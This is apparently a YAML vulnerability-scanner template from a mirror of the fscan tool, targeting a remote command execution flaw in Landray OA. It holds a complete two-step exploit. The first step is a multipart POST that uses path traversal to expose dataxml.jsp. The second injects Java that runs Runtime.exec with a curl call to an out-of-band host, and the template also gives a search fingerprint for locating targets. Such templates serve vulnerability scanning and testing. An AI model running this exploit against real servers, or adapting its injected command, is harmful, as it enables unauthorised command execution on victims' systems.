mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
53 lines
1.6 KiB
YAML
53 lines
1.6 KiB
YAML
id: landray-dataxml-jsp-rce
|
|
|
|
info:
|
|
name: 蓝凌OA dataxml.jsp 远程命令执行漏洞
|
|
author: avic123
|
|
severity: critical
|
|
verified: true
|
|
description: |-
|
|
蓝凌OA dataxml.jsp 存在远程命令执行漏洞
|
|
fofa: app="Landray-OA系统"
|
|
reference:
|
|
- https://cn-sec.com/archives/3026864.html
|
|
tags: Landray,ekp,rce
|
|
created: 2025/1/16
|
|
|
|
set:
|
|
hostname: request.url.host
|
|
|
|
rules:
|
|
r0:
|
|
request:
|
|
method: POST
|
|
path: /sys/ui/sys_ui_component/sysUiComponent.do
|
|
headers:
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51
|
|
X-Requested-With: XMLHttpRequest
|
|
body: |
|
|
------WebKitFormBoundaryL7ILSpOdIhIIvL51
|
|
Content-Disposition:form-data;name="method"
|
|
|
|
replaceExtend
|
|
------WebKitFormBoundaryL7ILSpOdIhIIvL51
|
|
Content-Disposition:form-data;name="extendId"
|
|
|
|
../../../../resource/help/km/review/
|
|
------WebKitFormBoundaryL7ILSpOdIhIIvL51
|
|
Content-Disposition:form-data;name="folderName"
|
|
|
|
../../../ekp/sys/common
|
|
------WebKitFormBoundaryL7ILSpOdIhIIvL51--
|
|
expression: response.status == 200 && "1".bmatches(response.body)
|
|
r1:
|
|
request:
|
|
method: POST
|
|
path: /resource/help/kms/knowledge/dataxml.jsp
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
body: |
|
|
s_bean=ruleFormulaValidate&script=try {String cmd = "curl+{{oob.HTTP}}";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e) {System.err.println(e);}
|
|
expression: response.status == 200 && oobCheck(oob.ProtocolHTTP, 3)
|
|
|
|
expression: r0() && r1()
|